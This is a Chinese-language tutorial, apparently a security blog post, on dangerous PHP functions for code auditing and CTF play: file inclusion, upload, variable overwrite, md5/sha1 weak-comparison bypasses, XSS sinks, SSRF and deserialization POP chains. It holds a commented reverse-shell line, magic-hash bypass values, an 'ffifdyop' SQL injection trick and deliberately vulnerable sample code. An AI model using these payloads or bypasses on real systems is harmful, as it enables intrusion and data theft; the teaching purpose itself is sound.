示例代码:

+
$descriptorspec = array(
0 => array("pipe", "r"), //标准输入,子进程从此管道读取数据
1 => array("pipe", "w"), //标准输出,子进程向此管道写入数据
2 => array("file", "/opt/figli/php/error-output.txt","a") //标准错误,写入到指定文件
);


$process = proc_open("ls -a", $descriptorspec, $pipes);

if(is_resource($process)){

echo stream_get_contents($pipes[1]);
fclose($pipes[1]);

proc_close($process); //在调用proc_close之前必须关闭所有管道
}
+

文件包含​

+

include()​

+

include将会包含语句并执行指定文件

+
include 'filename';
+

关键点就在于执行指定文件,执行给了我们代码执行的机会。倘若此时我们构造了一个后门文件,需要在目标机器执行进行shell反弹,那么如果代码中有include而且没有进行过滤,那么我们就可以使用该函数来执行我们的后门函数。下面我来演示一下。

+

示例代码(1.php):

+
<?php
highlight_file(__FILE__);
$file = $_GET['file'];
include $file;
?>
+

示例代码(2.php):

+
<?php
//这里可以使用PHP来反弹shell,我这里只是演示
//$sock=fsockopen("127.0.0.1",4444);exec("bin/bash -i <&3 >&3 2>&3");
echo '<br><h1>[*]backdoor is running!</h1>';
?>
+

执行结果:

+

img

+

include_once()​

+

include_once与include没有太大区别,唯一的其区别已经在名称中体现了,就是相同的文件只包含一次。其他功能和include_once一样,只是增加对每个文件包含的次数。

+

require()​

+

require的实现和include功能几乎完全相同,那既然一样为什么还要多一个这样的函数呢?( 我也不知道)

+

其实两者还是有点区别的,什么区别呢?这么说,如果你包含的文件的代码里面有错误,你觉得会发生什么?是继续执行包含的文件,还是停止执行呢?所以区别就在这里产生了。

+

require在出错时会导致脚本终止,而include在出错时只是发生警告,脚本还是继续执行。

+

require_once()​

+

这个我觉得你看完上面的,应该就懂了。这两者关系和include与include_once的关系是一样的。

+

总结​

+

文件包含有很多利用手段,其中在实际环境中,例如我们向服务器写入了后门,但是我们无法直接连接服务器,那么如果有文件包含函数,我们可以通过文件包含函数包含执行我们的后门函数,让服务器反弹连接我们。岂不美哉。

+

文件读取(下载)​

+

file_get_contents()​

+

函数功能是将整个文件读入一个字符串

+
file_get_contents(path,include_path,context,start,max_length)
+

参数​

+
    +
  • filename:要读取文件的名称。
  • +
  • include_path:可选。如果也想在 include_path 中搜索文件,可以设置为1。
  • +
  • context:可选。规定句柄的位置。
  • +
  • start:可选。规定文件中开始读取的位置。
  • +
  • max_length:可选。规定读取的字节数。
  • +
+

代码示例:

+
<?php
echo file_get_contents('demo.txt');
?>

执行结果——>
I am a demo text
+

fopen()​

+

此函数将打开一个文件或URL,如果 fopen() 失败,它将返回 FALSE 并附带错误信息。我们可以通过在函数名前面添加一个 @ 来隐藏错误输出。

+
fopen(filename,mode,include_path,context)
+

参数​

+
    +
  • filename:必需。要打开的文件或URL
  • +
  • mode:必需。规定访问类型(例如只读,只写,读写方式等,方式的规定和其他语言的规定方式一致)
  • +
  • include_path:可选。就是你可以指定搜索的路径位置,如果要指定的话,那么该参数要指定为- context:可选。规定句柄的环境。
  • +
+

代码示例:

+
<?php
$file = fopen("demo.txt","rb");
$content = fread($file,1024);
echo $content;
fclose($file);
?>

执行结果——>
I am a demo text
+

这段代码中其实也包含了fread的用法。因为fread仅仅只是打开一个文件,要想读取还得需要用到fread来读取文件内容。

+

fread()​

+

这个函数刚才在上个函数中基本已经演示过了,就是读取文件内容。这里代码就不再演示了,简单介绍一下参数和用法。

+
string fread ( resource $handle , int $length )
+

参数​

+
    +
  • handle:文件系统指针,是典型地由 fopen创建的resource。
  • +
  • length:必需。你要读取的最大字节数。
  • +
+

fgets()​

+

从打开的文件中读取一行

+
fgets(file,length) 
+

参数​

+
    +
  • file:必需。规定要读取的文件。
  • +
  • length:可选。规定要读取的字节数。默认是1024字节。
  • +
+

可以看出这个函数和之前的fread区别不是很大,只不过这个读取的是一行。

+

fgetss()​

+

这个函数跟上个没什么差别,也是从打开的文件中读取去一行,只不过过滤掉了 HTML 和 PHP 标签。

+
fgetss(file,length,tags)
+

参数​

+
    +
  • file:必需。要检查的文件。
  • +
  • length:可选。规定要读取的字节数,默认1024字节。
  • +
  • tags:可选。哪些标记不去掉。
  • +
+

代码示例:

+
<?php
$file = fopen("demo.html","r");
echo fgetss($file);
fclose($file);
?>

demo.html代码
<h1>I am a demo</h1>

执行结果——>
I am a demo
+

readfile()​

+

这个函数从名称基本就知道它是干啥的了,读文件用的。此函数将读取一个文件,并写入到输出缓冲中。如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。

+
readfile(filename,include_path,context)
+

参数​

+
    +
  • filename:必需。要读取的文件。
  • +
  • include_path:可选。规定要搜索的路径。
  • +
  • context:可选。规定文件句柄环境。
  • +
+

代码示例:

+
<?php
echo "<br>" . readfile("demo.txt");
?>

执行结果——>
I am a demo:) I am a demo:(
+

我们看到不仅输出了所有内容,而且还输出了总共长度。但是没有输出换行。

+

file()​

+

把文件读入到一个数组中,数组中每一个元素对应的是文件中的一行,包括换行符。

+
file(path,include_path,context)
+

参数​

+
    +
  • path:必需。要读取的文件。
  • +
  • include_path:可选。可指定搜索路径。
  • +
  • context:可选。设置句柄环境。
  • +
+

代码示例:

+
<?php
print_r(file("demo.txt"));
?>

执行结果——>
Array
(
[0] => I am the first line!
[1] => I am the second line!
)
+

parse_ini_file()​

+

从名称可以看出,这个函数不是读取一个简单的文件。它的功能是解析一个配置文件(ini文件),并以数组的形式返回其中的位置。

+
parse_ini_file(file,process_sections)
+

参数​

+
    +
  • file:必需。要读取的ini文件
  • +
  • process_sections:可选。若为TRUE,则返回一个多维数组,包括了详细信息
  • +
+

代码示例:

+
<?php
print_r(parse_ini_file("demo.ini"));
?>

demo.ini内容:
[names]
me = Robert
you = Peter

[urls]
first = "http://www.example.com"
second = "https://www.runoob.com"

执行结果——>
Array
(
[me] => Robert
[you] => Peter
[first] => http://www.example1.com
[second] => https://www.example2.com
)
+

show_source()/highlight_file()​

+

这两个函数没什么好说的,想必大家也经常见到这两个函数,其作用就是让php代码显示在页面上。这两个没有任何区别,show_source其实就是highlight_file的别名。

+

总结​

+

文件读取这块内容没什么好说的,不难,大多只是基本的应用。重点文件读取如果没有设置权限和过滤参数,那就问题大了,我们就可以任意文件读取了。

+

补充:什么是句柄?

+

开局先给一段代码

+
$file = fopen("demo.txt","rb");
+

在这段代码中$file就是一个句柄。句柄关键点在“柄”,后面的fopen是一个资源,好比一口锅,而前面的$file就好比这个锅的把手。那么以后我们在操作的时候操作把手就行了。通过这个把手我们可以间接操作比较大的资源。其实也类似C语言中的指针,只是一个标识。

+

文件上传​

+

move_uploaded_file()​

+

此函数是将上传的文件移动到新位置。

+
move_uploaded_file(file,newloc)
+

参数​

+
    +
  • file:必需。规定要移动的文件。
  • +
  • newloc:必需。规定文件的新位置。
  • +
+

本函数检查并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。

+

如果 file 不是合法的上传文件,不会出现任何操作,move_uploaded_file() 将返回 false。

+

如果 file 是合法的上传文件,但出于某些原因无法移动,不会出现任何操作,move_uploaded_file() 将返回 false,此外还会发出一条警告。

+

代码示例:

+
$fileName = $_SERVER['DOCUMENT_ROOT'].'/uploads/'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'],$fileName )
+

这段代码就是直接接收上传的文件,没有进行任何的过滤,那么当我们上传getshell的后门时,就可以直接获取权限,可见这个函数是不能乱用的,即便要用也要将过滤规则完善好,防止上传不合法文件。

+

文件删除​

+ +

此函数用来删除文件。成功返回 TURE ,失败返回 FALSE。

+
unlink(filename,context)
+

参数​

+
    +
  • filename:必需。要删除的文件。
  • +
  • context:可选。句柄环境。
  • +
+

我们知道,一些网站是有删除功能的。比如常见的论坛网站,是有删除评论或者文章功能的。倘若网站没有对删除处做限制,那么就可能会导致任意文件删除(甚至删除网站源码)。

+

代码示例:

+
<?php
$file = "demo.txt";
if(unlink($file)){
echo("$file have been deleted");
}
else{
echo("$file not exist?")
}
php>
+

session_destroy()​

+

在了解这个函数之前,我们需要先了解 PHP session。 PHP session 变量用于存储关于用户会话的信息。关于 sesson 的机制这里我就不再过于详细介绍。

+

session_destroy()函数用来销毁一个会话中的全部数据,但并不会重置当前会话所关联的全局变量,同时也不会重置会话 cookie

+

代码示例:

+
<?php
// 初始化会话。
// 如果要使用会话,别忘了现在就调用:
session_start();

// 重置会话中的所有变量
$_SESSION = array();

// 如果要清理的更彻底,那么同时删除会话 cookie
// 注意:这样不但销毁了会话中的数据,还同时销毁了会话本身
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]
);
}

// 最后,销毁会话
session_destroy();
?>
+

变量覆盖​

+

extract()​

+

此函数从数组中将变量导入到当前的符号表。其实作用就是给变量重新赋值,从而达到变量覆盖的作用。

+
extract(array,extract_rules,prefix)
+

参数​

+
    +
  • array:必需。规定要使用的数组。
  • +
  • extract_rules:可选。extract函数将检查每个键名是否为合法的变量名,同时也检查和符号中已经存在的变量名是否冲突,对不合法或者冲突的键名将会根据此参数的设定的规则来决定。 +
      +
    • EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
    • +
    • EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
    • +
    • EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。
    • +
    • EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。
    • +
    • EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。
    • +
    • EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
    • +
    • EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
    • +
    • EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。
    • +
    +
  • +
  • prefix:可选。如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。
  • +
+

代码示例:

+
<?php
$color = "blue";
$one_array = array("color" => "red",
"size" => "medium",
"name" => "dog");
extract($one_array);
echo "$color, $size, $name";
?>

执行结果——>
red, medium, dog
+

在上述代码中,我们看到,本来我们定义的color是blue,输出的时候变成了red,本来我们没有定义size和name,可是却能输出这两个变量。

+

还有一些在CTF比赛中出现过的用法,比如直接让你POST传参来改变某个变量的值。

+

代码示例:

+
<?php
$name = 'cat';
extract($_POST);
echo $name;
?>
+

参时如果我们POST传入name=dog,那么页面将会回显dog,说明这个函数的使用让我们实现了变量的覆盖,改变了变量的值。

+

parse_str()​

+

此函数把查询到的字符串解析到变量中。

+
parse_str(string,array)
+

参数​

+
    +
  • string:必需。规定要解析的字符串。
  • +
  • array:可选。规定存储变量的数组名称。该参数只是变量存储到数组中。
  • +
+

代码示例:

+
<?php
parse_str("name=Ameng&sex=boy",$a);
print_r($a);
?>

执行结果——>
Array
(
[name] => Ameng
[sex] => boy
)
+

上述代码是有array情况下的使用情况,那么如何实现变量的覆盖呢?如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

+

代码示例:

+
<?php
$name = 'who';
$age = '20';
parse_str("name=Ameng&age=21");
echo "$name, $age";
?>
执行结果——>
Ameng, ```


通过上述代码,我们可以发现,变量name和age都发生了变化,被新的值覆盖了。这里我用的是 PHP 7.4.3 版本。发现这个函数的这个作用还是存在的,且没有任何危险提示。

### import_request_variables()

此函数将GET/POST/Cookie变量导入到全局作用域中。从而能够达到变量覆盖的作用。

版本要求:PHP 4 >= 4.1.0, PHP 5 < 5.4.
```php
bool import_request_variables ( string $types [, string $prefix ] )
+

参数​

+
    +
  • types:指定需要导入的变量,可以用字母 G、P 和 C 分别表示 GET、POST 和 Cookie,这些字母不区分大小写,所以你可以使用 g 、 p 和 c 的任何组合。POST 包含了通过 POST 方法上传的文件信息。注意这些字母的顺序,当使用 gp 时,POST 变量将使用相同的名字覆盖 GET 变量。
  • +
  • prefix:变量名的前缀,置于所有被导入到全局作用域的变量之前。所以如果你有个名为 userid 的 GET 变量,同时提供了 pref_ 作为前缀,那么你将获得一个名为 $pref_userid 的全局变量。虽然 prefix 参数是可选的,但如果不指定前缀,或者指定一个空字符串作为前缀,你将获得一个 E_NOTICE 级别的错误。
  • +
+

代码示例:

+
<?php
$name = 'who';
import_request_variables('gp');
if($name == 'Ameng'){
echo $name;
}
else{
echo 'You are not Ameng';
}
?>
+

如果什么变量也不传,那么页面将回显You are not Ameng如果通过GET或者POST传入name=Ameng那么页面就会回显Ameng

+

可以见到此函数还是很危险的,没有修复方法,不使用就是最好的方法。所以在新版本的 PHP 中已经废弃了这个函数。

+

foreach()​

+

foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:

+
foreach (array_expression as $value)
statement
foreach (array_expression as $key => $value)
statement
+

第一种格式遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。

+

第二种格式做同样的事,只是除了当前单元的键名也会在每次循环中被赋给变量 $key。

+

那么这个函数如何实现变量的覆盖呢?我们来看个案例.

+

代码示例:

+
<?php
$name = 'who';
foreach($_GET as $key => $value) {
$$key = $value;
}
if($name == "Ameng"){
echo 'You are right!';
}
else{
echo 'You are flase!';
}
?>
+

那么执行结果是怎样的呢?当我们直接打开页面的时候它会输出You are false!,而当我们通过GET传参name=Ameng的时候,它会回显You are right!。那么这是为什么呢?我们来分析一下

+

关键点就在于$$这种写法。这种写法称为可变变量。一个变量能够获取一个普通变量的值作为这个可变变量的变量名。当使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。这样就产生了变量覆盖漏洞,如上代码示例。其执行过程为$$key=$name,最后赋值为$value,从而实现了变量覆盖。

+

弱类型比较​

+

md5()函数和sha1()绕过​

+

关于这两个函数想必我们不陌生,无论是在实际代码审计中,还是在CTF比赛中,这些我们都是碰到过的函数。那么当我们遇到用这两个函数来判断的时候,如果绕过呢?

+

PHP 在处理哈希字符串的时候,会使用!=或者==来对哈希值进行比较,它会把每一个0E开头的哈希值都解释为0,那么这个时候问题就来了,如果两个不同的值,经过哈希以后它们都变成了0E开头的哈希值,那么 PHP 就会将它们视作相等处理。那么0E开头的哈希值有哪些呢?

+
s878926199a
0e5459932745177090343288558410s155964671a
0e3427684168224515249741172544s214587387a
0e8482404488305379244658656119s214587387a
0e8482404488305379244658656119s878926199a
0e5459932745177090343288558410s1091221200a
0e9406242178565615578163273846s1885207154a
0e5093672134182067008420087635s1502113478a
0e8615801632915612474043813960s1885207154a
0e5093672134182067008420087635s1836677006a
0e4810364908676611132600349007s155964671a
0e3427684168224515249741172544s1184209335a
0e0724858203927733895231090820s1665632922a
0e7311980614911630731971283637s1502113478a
0e8615801632915612474043813960s1836677006a
0e4810364908676611132600349007s1091221200a
0e9406242178565615578163273846s155964671a
0e3427684168224515249741172544s1502113478a
0e8615801632915612474043813960s155964671a
0e3427684168224515249741172544s1665632922a
0e7311980614911630731971283637s155964671a
0e3427684168224515249741172544s1091221200a
0e9406242178565615578163273846s1836677006a
0e4810364908676611132600349007s1885207154a
0e5093672134182067008420087635s532378020a
0e2204630958555115075880412058s878926199a
0e5459932745177090343288558410s1091221200a
0e9406242178565615578163273846s214587387a
0e8482404488305379244658656119s1502113478a
0e8615801632915612474043813960s1091221200a
0e9406242178565615578163273846s1665632922a
0e7311980614911630731971283637s1885207154a
0e5093672134182067008420087635s1836677006a
0e4810364908676611132600349007s1665632922a
0e7311980614911630731971283637s878926199a
0e5459932745177090343288558410```


来个简单的例子吧

代码示例:

```php
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
echo '这就是弱类型绕过';
}
else{
echo '再思考一下';
}
?>
+

从上面我给出的哪些值中,挑两个不同的值传入参数,就能看到相应的结果

+

上面是md5()函数的绕过姿势,那么sha1()如何绕过呢?再来看一个简单的例子

+
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a,$b)){
if(sha1($a) === sha1($b)){
echo 'nice!!!';
}
else{
echo 'Try again!';
}
}
?>
+

当我们传入a[]=1&b[]=2的时候,虽然它会给出警告,说我们应该传入字符串而不应该是数组,但是它还是输出了nice!!!,所以我们完全可以用数字来绕过sha1()函数的比较。

+

is_numeric()绕过​

+

我们先来了解一下这个函数。此函数是检测变量是否为数字或者数字字符串

+
is_numeric( mixed $var) : bool
+

如果var是数字或者数字字符串那么就返回TRUE,否则就返回FALSE。那么这里说的绕过是什么姿势呢?是十六进制。我们先来看一个简单的例子。

+

代码示例:

+
<?php
$a = is_numeric('0x31206f722031');
if($a){
echo 'It meets my requirement';
}
else{
echo 'Try again';
}
?>
执行结果——>
It meets my requirement
+

这里说一下0x31206f722031这个是什么?这个是or 1=1的十六进制,从这里可以看出,如果某处使用了此函数,并将修饰后的变量带入数据库查询语句中,那么我们就能利用此漏洞实现sql注入。同样的,这个漏洞再CTF比赛中也是很常见的。

+

in_array()绕过​

+

此函数用来检测数组中是否存在某个值。

+
in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool
+

参数​

+
    +
  • needle:带搜索的值(区分大小写)。
  • +
  • haystack:带搜索的数组。
  • +
  • strict:若此参数的值为TRUE,那么in_array()函数将会检查needle的类型是否和haystack中的类型相同。
  • +
+

有时候我们再传入一个数组的时候,代码可能会过滤某些敏感字符串,但是我们又需要传入这样的字符串,那么我们应该如何绕过它的检测呢?

+
<?php
$myarr = array('Ameng');
$needle = 0;
if(in_array($needle,$myarr)){
echo "It's in array";
}
else{
echo "not in array";
}
?>
+

上面代码示例执行的结果会是什么呢?从简单的逻辑上分析。0是不存在要搜索的数组中的,所以理论上,应该是输出not in array,但是实际却输出了It's in array。这是为什么呢?原因就在于PHP的默认类型转换。这里我们第三个参数并没有设置为true那么默认就是非严格比较,所以在数字与字符串进行比较时,字符串先被强制转换成数字,然后再进行比较。并且因为某些类型转换正在发生,就会导致发生数据丢失,并且都被视为相同。所以归根到底还是非严格比较导致的问题。所以再遇到这个函数用来变量检测的时候,我们可以看看第三个参数是否开启,若未开启,则存在数组绕过。

+

XSS​

+

在这里首先你要对XSS的基本原理要知道。PHP中一下这些函数之所以会出现XSS的漏洞情况,主要还是没有对输出的变量进行过滤。

+

print()​

+

代码示例:

+
<?php
$str = $_GET['x'];
print($str);
?>
+

img

+ +

代码示例:

+
<?php
$str = $_GET['x'];
print_r($str);
?>
+

img

+

echo()​

+

代码示例:

+
<?php
$str = $_GET['x'];
echo "$str";
?>
+

我们传入相应参数,执行结果如下:

+

img

+

printf()​

+

代码示例:

+
<?php
$str = $_GET['x'];
printf($str);
?>
+

执行结果和上面相同,我就不再贴图片了。

+

sprintf()​

+

代码示例:

+
<?php
$str = $_GET['x'];
$a = sprintf($str);
echo "$a";
?>
+

die()​

+

此函数输出一条信息,并退出当前脚本。

+

代码示例:

+
<?php
$str = $_GET['x'];
die($str);
?>
+

var_dump()​

+

此函数打印变量的相关信息,用来显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开之,通过缩进显示其结构。

+

代码示例:

+
<?php
$str = $_GET['x'];
$a = array($str);
var_dump($a);
?>
+

var_export()​

+

此函数输出或者返回一个变量的字符串表示。它返回关于传递给该函数的变量的结构信息,和var_dump类似,不同的是其返回的表示是合法的 PHP 代码。

+

代码示例:

+
<?php
$str = $_GET['x'];
$a = array($str);
var_export($a);
?>
+

img

+

PHP黑魔法​

+

这里大部分函数的使用已经在上面详细介绍过了,这里我就针对每一种函数大概介绍一下其主要存在的利用方法。

+

md5()​

+

md5()函数绕过sql注入。我们来看一个例子。

+

代码示例:

+
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}
+

这里提交的参数通过md5函数处理,然后再进入SQL查询语句,所以常规的注入手段就不行了,那么如果md5后的转换成字符串格式变成了'or'xxxx的格式,不就可以注入了么。md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c

+

转成字符串为'or'6xxx

+

eval()​

+

在执行命令时,可使用分号构造处多条语句。类似这种。

+
<?php
$cmd = "echo 'a';echo '--------------';echo 'b';";
echo eval($cmd);
?>
+

ereg()​

+

存在%00截断,当遇到使用此函数来进行正则匹配时,我们可以用%00来截断正则匹配,从而绕过正则。

+

strcmp()​

+

这个在前面介绍过,就是数组绕过技巧。

+

curl_setopt()​

+

存在ssrf漏洞。

+

代码示例:

+
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['Ameng']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>
+

使用file协议进行任意文件读取

+

img

+

除此之外还有dict协议查看端口信息。gopher协议反弹shell利用等。

+

preg_replace()​

+

此函数前面详细介绍过,/e模式下的命令执行。

+

urldecode()​

+

url二次编码绕过。

+

代码示例:

+
<?php
$name = urldecode($_GET['name']);
if($name = "Ameng"){
echo "Plase~";
}
else{
echo "sorry";
}
?>
+

将Ameng进行二次url编码,然后传入即可得到满足条件。

+

file_get_contents()​

+

常用伪协议来进行绕过。

+

parse_url()​

+

此函数主要用于绕过某些过滤,先简单了解一下函数的基本用法。

+

代码示例:

+
<?php
$url = "http://www.jlx-love.com/about";
$parts = parse_url($url);
print_r($parts);
?>

执行结果——>
Array
(
[scheme] => http
[host] => www.jlx-love.com [path] => /about
)
+

可以看到这个函数把我们的变量值拆分成一个几个部分。那么绕过过滤又是说的哪回事呢?其实就是当我们在浏览器输入url时,那么就会将url中的\转换为/,从而就会导致parse_url的白名单绕过。

+

反序列化漏洞​

+

简介​

+

在了解一些函数之前,我们首先需要了解什么是序列化和反序列化。

+

序列化:把对象转换为字节序列的过程成为对象的序列化。

+

反序列化:把字节序列恢复为对象的过程称为对象的反序列化。

+

归根到底,就是将数据转化成一种可逆的数据结构,逆向的过程就是反序列化。

+

在 PHP 中主要就是通过serialize和unserialize来实现数据的序列化和反序列化。

+

那么漏洞是如何形成的呢?

+

PHP 的反序列化漏洞主要是因为未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化的过程,从而就可以导致各种危险行为。

+

那么我们先来看一看序列化后的数据格式是怎样的,了解了序列化后的数据,我们才能更好的理解和利用漏洞。所以我们来构造一段序列化的值。

+

代码示例:

+
<?php
class Ameng{
public $who = "Ameng";
}
$a = serialize(new Ameng);
echo $a;
?>
执行结果——>
O:5:"Ameng":1:{s:3:"who";s:5:"Ameng";}
+

img

+

这里还要补充一点,就是关于变量的分类,变量的类别有三种:

+
    +
  • public:正常操作,在反序列化时原型就行。
  • +
  • protected:反序列化时在变量名前加上%00*%00。
  • +
  • private:反序列化时在变量名前加上%00类名%00。
  • +
+

序列化我们知道了是个什么格式,那么如何利用反序列化来触发漏洞进行利用呢?

+

__wakeup()​

+

在我们反序列化时,会先检查类中是否存在__wakeup()如果存在,则执行。但是如果对象属性个数的值大于真实的属性个数时就会跳过__wakeup()执行__destruct()。

+

影响版本:

+

PHP5 < 5.6. +PHP7 < 7.0. +代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name='1.php';

function __destruct(){
echo "destruct执行<br>";

echo highlight_file($this->name, true);
}


function __wakeup(){
echo "wakeup执行<br>";
$this->name='1.php';
}
}
$data = 'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}';
unserialize($data);
?>
+

执行结果:

+

img

+

__sleep()​

+

__sleep()函数刚好与__waeup()相反,前者是在序列化一个对象时被调用,后者是在反序列化时被调用。那么该如何利用呢?我们看看代码。

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name='1.php';

public function __construct($name){
$this->name=$name;
}

function __sleep(){
echo "sleep()执行<br>";
echo highlight_file($this->name, true);
}

function __destruct(){
echo "over<br>";
}

function __wakeup(){
echo "wakeup执行<br>";
}
}
$a = new Ameng("2.php");
$b = serialize($a);
?>
+

执行结果:

+

img

+

__destruct()​

+

这个函数的作用其实在上面的例子中已经显示了,就是在对象被销毁时调用,倘若这个函数中有命令执行之类的功能,我们完全可以利用这一点来进行漏洞的利用,得到自己想要的结果。

+

__construct()​

+

这个函数的作用在__sleep()也是体现了的,这个函数就是在一个对象被创建时会调用这个函数,比如我在__sleep()中用这个函数来对变量进行赋值。

+

__call()​

+

此函数用来监视一个对象中的其他方法。当你尝试调用一个对象中不存在的或者被权限控制的方法,那么__call就会被自动调用

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{

public function __call($name,$args){
echo "<br>"."call执行失败";
}

public static function __callStatic($name,$args){
echo "<br>"."callStatic执行失败";
}
}
$a = new Ameng;
$a->b();
Ameng::b();
?>
+

执行结果:

+

img

+

__callStatic()​

+

这个方法是 PHP5.3 增加的新方法。主要是调用不可见的静态方法时会自动调用。具体使用在上面代码示例和结果可见。那么这两个函数有什么值得我们关注的呢?想一想,倘若这两个函数中有命令执行的函数,那么我们调用对象中不存在方法时就可以调用这两个函数,这不就达到我们想要的目的了。

+

__get()​

+

一般来说,我们总是把类的属性定义为private。但有时候我们对属性的读取和赋值是非常频繁,这个时候PHP就提供了两个函数来获取和赋值类中的属性。

+

get方法用来获取私有成员属性的值。

+

代码示例:

+
//__get()方法用来获取私有属性
public function __get($name){
return $this->$name;
}
+

参数​

+
    +
  • $name:要获取成员属性的名称。
  • +
+

__set()​

+

此方法用来给私有成员属性赋值。

+

代码示例:

+
//__set()方法用来设置私有属性
public function __set($name,$value){
$this->$name = $value;
}
+

参数​

+
    +
  • $name:要赋值的属性名。
  • +
  • $value:给属性赋值的值。
  • +
+

__isset()​

+

这个函数是当我们对不可访问属性调用isset()或者empty()时调用。

+

在这之前我们要先了解一下isset()函数的使用。isset()函数检测某个变量是否被设置了。所以这个时候问题就来了,如果我们使用这个函数去检测对象里面的成员是否设定,那么会发生什么呢?

+

若对象的成员是公有成员,那没什么问题。倘若对象的成员是私有成员,那这个函数就不行了,人家根本就不允许你访问,你咋能检测人家是否设定了呢?那我们该怎么办?这个时候我们可以在类里面加上__isset()方法,接下来就可以使用isset()在对象外面访问对象里面的私有成员了。

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
private $name;

public function __construct($name=""){
$this->name = $name;
}

public function __isset($content){
echo "当在类外面调用isset方法时,那么我就会执行!"."<br>";
echo isset($this->$content);
}
}
$ameng = new Ameng("Ameng");
echo isset($ameng->name);
?>
+

执行结果:

+

img

+

__unset()​

+

这个方法基本和__insset情况一致,都是在类外访问类内私有成员时要调用这个函数,基本调用的方法和上面一致。

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
private $name;

public function __construct($name=""){
$this->name = $name;
}

public function __unset($content){
echo "当在类外面调用unset方法时,那么我就会执行!"."<br>";
echo isset($this->$content);
}
}
$ameng = new Ameng("Ameng");
unset($ameng->name);
?>
+

执行结果:

+

img

+

toString()​

+

此函数是将一个对象当作一个字符串来使用时,就会自动调用该方法,且在该方法中,可以返回一定的字符串,来表示该对象转换为字符串之后的结果。

+

通常情况下,我们访问类的属性的时候都是$实例化名称->属性名这样的格式去访问,但是我们不能直接echo去输出对象,可是当我们使用__tostring()就可以直接用echo来输出了。

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name;
private $age;
function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
public function __toString(){
return $this->name . $this->age . '岁了';
}
}
$ameng = new Ameng('Ameng',3);
echo $ameng;
?>
+

执行结果:

+
Ameng3岁了
+

__invoke()​

+

当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。

+

版本要求:

+

PHP > 5.3. +代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name;
private $age;
function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
public function __invoke(){
echo '你用调用函数的方式调用了这个对象,所以我起作用了';
}
}
$ameng = new Ameng('Ameng',3);
$ameng();
?>
执行结果——>
你用调用函数的方式调用了这个对象,所以我起作用
+

pop链的构造​

+

思路​

+
    +
  1. 寻找位点(unserialize函数—>变量可控)
  2. +
  3. 正向构造(各种方法)
  4. +
  5. 反向推理(从要完成的目的出发,反向推理,最后找到最先被调用的位置处)
  6. +
+

来看一个简单的例子(HECTF):

+
<?php
class Read {
public $var;
public $token;
public $token_flag;
public function __construct() {
$this->token_flag = $this->token = md5(rand(1,10000));
$this->token =&$this->token_flag;
}
public function __invoke(){
$this->token_flag = md5(rand(1,10000));

if($this->token === $this->token_flag)
{
echo "flag{**********}";
}
}
}
class Show
{
public $source;
public $str;
public function __construct()
{
echo $this->source."<br>";
}

public function __toString()
{
$this->str['str']->source;
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}

class Test
{
public $params;
public function __construct()
{
$this->params = array();
}

public function __get($key)
{
$func = $this->params;
return $func();
}
}
if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
+

我们要拿到flag,在__invoke()函数,当对象被当作函数调用时,那么就会自动执行该函数。所以我们要做的就是用函数来调用对象。

+

